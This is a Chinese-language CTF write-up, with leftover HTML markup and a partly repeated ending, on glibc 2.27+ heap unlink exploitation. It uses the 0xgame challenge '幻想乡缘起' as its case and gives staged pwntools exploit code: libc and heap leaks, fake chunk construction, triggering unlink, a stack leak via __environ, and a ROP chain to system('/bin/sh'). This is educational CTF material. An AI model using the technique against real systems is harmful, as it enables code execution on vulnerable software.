高版本堆利用：堆叠unlink技术详解<\/h1>

前言<\/h2>
本文详细分析高版本glibc（2.27及以上）中的堆unlink利用技术，通过0xgame CTF第四周题目"幻想乡缘起"的实战案例，深入讲解在现有安全机制下如何成功实施unlink攻击。<\/p>

环境与背景<\/h2>

目标版本<\/strong>：glibc 2.35<\/li>
保护机制<\/strong>：未开启PIE，可进行unlink攻击<\/li>

漏洞类型<\/strong>：单字节溢出（off-by-null）<\/li> <\/ul>
基础理论<\/h2>
传统unlink机制回顾<\/h3>
在glibc 2.23中，free函数的检查相对宽松：<\/p>
\/\/ 2.23 free函数简化流程 <\/span><\/span><\/span><\/span>if<\/span> (!<\/span>prev_inuse(p)) { \/\/ 检查前一个chunk是否空闲 <\/span><\/span><\/span><\/span> prevsize =<\/span> p-><\/span>prev_size; <\/span><\/span> size +=<\/span> prevsize; <\/span><\/span> p =<\/span> chunk_at_offset(p, -<\/span>((long<\/span>) prevsize)); <\/span><\/span> unlink(av, p, bck, fwd); \/\/ 执行后向合并 <\/span><\/span><\/span><\/span>} <\/span><\/span> <\/span><\/span>if<\/span> (nextchunk !=<\/span> av-><\/span>top) { <\/span><\/span> nextinuse =<\/span> inuse_bit_at_offset(nextchunk, nextsize); <\/span><\/span> if<\/span> (!<\/span>nextinuse) { \/\/ 检查后一个chunk是否空闲 <\/span><\/span><\/span><\/span> unlink(av, nextchunk, bck, fwd); \/\/ 执行前向合并 <\/span><\/span><\/span><\/span> size +=<\/span> nextsize; <\/span><\/span> } <\/span><\/span>} <\/span><\/span><\/code><\/pre>高版本安全检查增强<\/h3> 1. 堆边界检查<\/h4> \/\/ 检查nextchunk是否超出堆边界 <\/span><\/span><\/span><\/span>if<\/span> (__builtin_expect (contiguous (av) <\/span><\/span> &&<\/span> (char<\/span> *<\/span>) nextchunk >=<\/span> ((char<\/span> *<\/span>) av-><\/span>top +<\/span> chunksize(av-><\/span>top)), 0<\/span>)) <\/span><\/span> malloc_printerr ("free(): invalid next size (fast)"<\/span>); <\/span><\/span><\/code><\/pre>2. 前后size一致性检查（2.27+）<\/h4> \/\/ 新增：当前chunk的size必须等于下一个chunk的prev_size <\/span><\/span><\/span><\/span>if<\/span> (__builtin_expect (chunksize(p) !=<\/span> prev_size (next_chunk(p)), 0<\/span>)) <\/span><\/span> malloc_printerr ("corrupted size vs. prev_size"<\/span>); <\/span><\/span><\/code><\/pre>3. 双链表完整性检查<\/h4> \/\/ 严格的FD\/BK指针验证 <\/span><\/span><\/span><\/span>if<\/span> (__builtin_expect (FD-><\/span>bk !=<\/span> p ||<\/span> BK-><\/span>fd !=<\/span> p, 0<\/span>)) <\/span><\/span> malloc_printerr ("corrupted double-linked list"<\/span>); <\/span><\/span><\/code><\/pre>现代unlink技术详解<\/h2> unlink_chunk函数分析（glibc 2.41）<\/h3> static<\/span> void<\/span> unlink_chunk<\/span> (mstate av, mchunkptr p) { <\/span><\/span> \/\/ 关键检查1: size与prev_size一致性 <\/span><\/span><\/span><\/span> if<\/span> (chunksize (p) !=<\/span> prev_size (next_chunk (p))) <\/span><\/span> malloc_printerr ("corrupted size vs. prev_size"<\/span>); <\/span><\/span> <\/span><\/span> mchunkptr fd =<\/span> p-><\/span>fd; <\/span><\/span> mchunkptr bk =<\/span> p-><\/span>bk; <\/span><\/span> <\/span><\/span> \/\/ 关键检查2: 双链表完整性 <\/span><\/span><\/span><\/span> if<\/span> (__builtin_expect (fd-><\/span>bk !=<\/span> p ||<\/span> bk-><\/span>fd !=<\/span> p, 0<\/span>)) <\/span><\/span> malloc_printerr ("corrupted double-linked list"<\/span>); <\/span><\/span> <\/span><\/span> \/\/ 执行unlink操作 <\/span><\/span><\/span><\/span> fd-><\/span>bk =<\/span> bk; <\/span><\/span> bk-><\/span>fd =<\/span> fd; <\/span><\/span> <\/span><\/span> \/\/ 大chunk的额外检查（略） <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>利用条件与约束<\/h3> 信息泄露要求<\/strong>：<\/p> 必须泄露heap基地址<\/li> 需要libc基地址（用于计算目标地址）<\/li> <\/ul> <\/li> 漏洞要求<\/strong>：<\/p> 存在单字节溢出（off-by-null）或堆溢出<\/li> 能够控制chunk的fd\/bk指针<\/li> <\/ul> <\/li> 内存布局要求<\/strong>：<\/p> 需要精确的堆布局控制<\/li> 必须绕过size一致性检查<\/li> <\/ul> <\/li> <\/ol> 实战案例：幻想乡缘起<\/h2> 漏洞分析<\/h3> _BYTE *<\/span>change_history<\/span>() { <\/span><\/span> \/\/ ... 省略部分代码 ... <\/span><\/span><\/span><\/span> if<\/span> (result) { <\/span><\/span> puts("Please input correct history!"<\/span>); <\/span><\/span> num =<\/span> read(0<\/span>, *<\/span>((void<\/span> **<\/span>)&<\/span>chunk +<\/span> index), (int<\/span>)Size[index]); <\/span><\/span> result =<\/span> (_BYTE *<\/span>)(*<\/span>((_QWORD *<\/span>)&<\/span>chunk +<\/span> index) +<\/span> num); <\/span><\/span> *<\/span>result =<\/span> 0<\/span>; \/\/ 关键：单字节null溢出 <\/span><\/span><\/span><\/span> } <\/span><\/span> return<\/span> result; <\/span><\/span>} <\/span><\/span><\/code><\/pre>利用步骤详解<\/h3> 阶段1：信息泄露<\/h4> def<\/span> ak1<\/span>(): <\/span><\/span> # 布局堆内存<\/span> <\/span><\/span> add(0<\/span>, 0x4f0<\/span>, b<\/span>'<\/span>\xe0<\/span>'<\/span>) <\/span><\/span> add(1<\/span>, 0x4f0<\/span>, b<\/span>'<\/span>\xe0<\/span>'<\/span>) <\/span><\/span> add(2<\/span>, 0x4f0<\/span>, b<\/span>'<\/span>\xe0<\/span>'<\/span>) <\/span><\/span> <\/span><\/span> # 触发unsorted bin泄露libc<\/span> <\/span><\/span> delete(0<\/span>) <\/span><\/span> add(0<\/span>, 0x70<\/span>, b<\/span>'<\/span>\xe0<\/span>'<\/span>) <\/span><\/span> show(0<\/span>) <\/span><\/span> <\/span><\/span> # 计算libc基地址<\/span> <\/span><\/span> lib =<\/span> ru(6<\/span>) -<\/span> 0x21b1e0<\/span> <\/span><\/span><\/code><\/pre>阶段2：堆地址泄露<\/h4> # 重新布局恢复堆状态<\/span> <\/span><\/span>add(1<\/span>, 0x4f0<\/span>, b<\/span>'<\/span>\xe0<\/span>'<\/span>) <\/span><\/span>add(2<\/span>, 0x4f0<\/span>, b<\/span>'<\/span>\xe0<\/span>'<\/span>) <\/span><\/span>add(3<\/span>, 0x4f0<\/span>, b<\/span>'<\/span>\xe0<\/span>'<\/span>) <\/span><\/span>add(4<\/span>, 0x4f0<\/span>, b<\/span>'<\/span>\xe0<\/span>'<\/span>) <\/span><\/span> <\/span><\/span># 通过UAF泄露heap地址<\/span> <\/span><\/span>delete(1<\/span>) <\/span><\/span>delete(3<\/span>) <\/span><\/span>add(1<\/span>, 0x4f0<\/span>, b<\/span>'aaaaaaaa'<\/span>) <\/span><\/span>show(1<\/span>) <\/span><\/span>heap =<\/span> ru(3<\/span>) -<\/span> 0xd10<\/span> <\/span><\/span><\/code><\/pre>阶段3：unlink攻击准备<\/h4> # 创建目标chunk<\/span> <\/span><\/span>add(0<\/span>, 0xf8<\/span>, b<\/span>'<\/span>\xe0<\/span>'<\/span>) <\/span><\/span>add(1<\/span>, 0xf0<\/span>, b<\/span>'<\/span>\xe0<\/span>'<\/span>) <\/span><\/span> <\/span><\/span># 构造fake chunk<\/span> <\/span><\/span>target =<\/span> 0x4040C0<\/span> # 目标地址（GOT表或全局变量）<\/span> <\/span><\/span>fd =<\/span> target -<\/span> 0x18<\/span> <\/span><\/span>bk =<\/span> target -<\/span> 0x10<\/span> <\/span><\/span> <\/span><\/span># 精心构造fake chunk满足检查<\/span> <\/span><\/span>pd =<\/span> flat(0<\/span>, 0xf1<\/span>) # prev_size, size<\/span> <\/span><\/span>pd +=<\/span> flat(fd, bk) # fd, bk指针<\/span> <\/span><\/span>pd =<\/span> pd.<\/span>ljust(0xf0<\/span>, b<\/span>'<\/span>\x00<\/span>'<\/span>) <\/span><\/span>pd +=<\/span> p64(0xf0<\/span>) # next chunk的prev_size<\/span> <\/span><\/span><\/code><\/pre>阶段4：触发unlink<\/h4> # 清理小chunk避免干扰<\/span> <\/span><\/span>for<\/span> i in<\/span> range(7<\/span>): <\/span><\/span> delete(i+<\/span>4<\/span>) <\/span><\/span> <\/span><\/span># 触发合并，执行unlink<\/span> <\/span><\/span>delete(1<\/span>) <\/span><\/span> <\/span><\/span># 验证unlink成功<\/span> <\/span><\/span>pd =<\/span> p64(0<\/span>)*<\/span>3<\/span> <\/span><\/span>pd +=<\/span> p64(lib +<\/span> libc.<\/span>sym['__environ'<\/span>]) # 目标地址<\/span> <\/span><\/span>pd +=<\/span> p64(0x4040C0<\/span>) <\/span><\/span>edit(0<\/span>, pd) <\/span><\/span><\/code><\/pre>阶段5：栈地址泄露与ROP<\/h4> # 通过environ泄露栈地址<\/span> <\/span><\/span>show(0<\/span>) <\/span><\/span>stack =<\/span> ru(6<\/span>) <\/span><\/span> <\/span><\/span># 计算目标地址（如返回地址）<\/span> <\/span><\/span>target =<\/span> stack -<\/span> 0x140<\/span> <\/span><\/span> <\/span><\/span># 构造ROP链<\/span> <\/span><\/span>pd =<\/span> p64(lib +<\/span> next(libc.<\/span>search(asm("pop rdi;ret"<\/span>)))) <\/span><\/span>pd +=<\/span> p64(lib +<\/span> next(libc.<\/span>search("\/bin\/sh"<\/span>))) <\/span><\/span>pd +=<\/span> p64(lib +<\/span> libc.<\/span>sym['system'<\/span>]) <\/span><\/span>edit(0<\/span>, pd) <\/span><\/span><\/code><\/pre>关键技术要点<\/h2> 1. Fake Chunk构造技巧<\/h3> # 必须满足的条件：<\/span> <\/span><\/span># 1. fake_chunk.size == next_chunk.prev_size<\/span> <\/span><\/span># 2. fake_chunk->fd->bk == fake_chunk<\/span> <\/span><\/span># 3. fake_chunk->bk->fd == fake_chunk<\/span> <\/span><\/span> <\/span><\/span># 正确构造示例：<\/span> <\/span><\/span>fake_chunk =<\/span> p64(0<\/span>) # prev_size<\/span> <\/span><\/span>fake_chunk +=<\/span> p64(0x111<\/span>) # size (必须匹配)<\/span> <\/span><\/span>fake_chunk +=<\/span> p64(target -<\/span> 0x18<\/span>) # fd<\/span> <\/span><\/span>fake_chunk +=<\/span> p64(target -<\/span> 0x10<\/span>) # bk<\/span> <\/span><\/span><\/code><\/pre>2. 堆布局控制<\/h3> 使用大小合适的chunk避免fastbin<\/li> 合理安排分配\/释放顺序<\/li> 注意内存对齐和padding<\/li> <\/ul> 3. 绕过检查的策略<\/h3> size检查<\/strong>：精确控制fake chunk的size字段<\/li> 双链表检查<\/strong>：计算正确的fd\/bk指针偏移<\/li> 内存权限<\/strong>：确保写入地址可写<\/li> <\/ul> 防御与对抗<\/h2> 现有防护机制<\/h3> tcache机制<\/strong>：小chunk优先进入tcache，减少unlink机会<\/li> safe-linking<\/strong>：指针加密，增加预测难度<\/li> 增强检查<\/strong>：更多的运行时验证<\/li> <\/ol> 未来发展趋势<\/h3> 更严格的size验证<\/li> 指针完整性保护<\/li> 随机化增强<\/li> <\/ul> 总结<\/h2> 高版本glibc中的unlink利用虽然受到严格限制，但在特定条件下仍然可行。成功的关键在于：<\/p> 精确的信息泄露（heap\/libc地址）<\/li> 对堆内存布局的精细控制<\/li> 对unlink检查机制的深入理解<\/li> 利用off-by-null等漏洞的巧妙组合<\/li> <\/ol> 通过本文的分析，读者应该能够掌握现代glibc环境下unlink攻击的核心技术和实现方法，为更高级的堆利用技术打下坚实基础。<\/p>

高版本堆利用：堆叠unlink技术详解<\/h1>

前言<\/h2> 本文详细分析高版本glibc（2.27及以上）中的堆unlink利用技术，通过0xgame CTF第四周题目"幻想乡缘起"的实战案例，深入讲解在现有安全机制下如何成功实施unlink攻击。<\/p>

基础理论<\/h2>

高版本安全检查增强<\/h3>

现代unlink技术详解<\/h2>

实战案例：幻想乡缘起<\/h2>

利用步骤详解<\/h3>

关键技术要点<\/h2>

防御与对抗<\/h2>

前言<\/h2>
本文详细分析高版本glibc（2.27及以上）中的堆unlink利用技术，通过0xgame CTF第四周题目"幻想乡缘起"的实战案例，深入讲解在现有安全机制下如何成功实施unlink攻击。<\/p>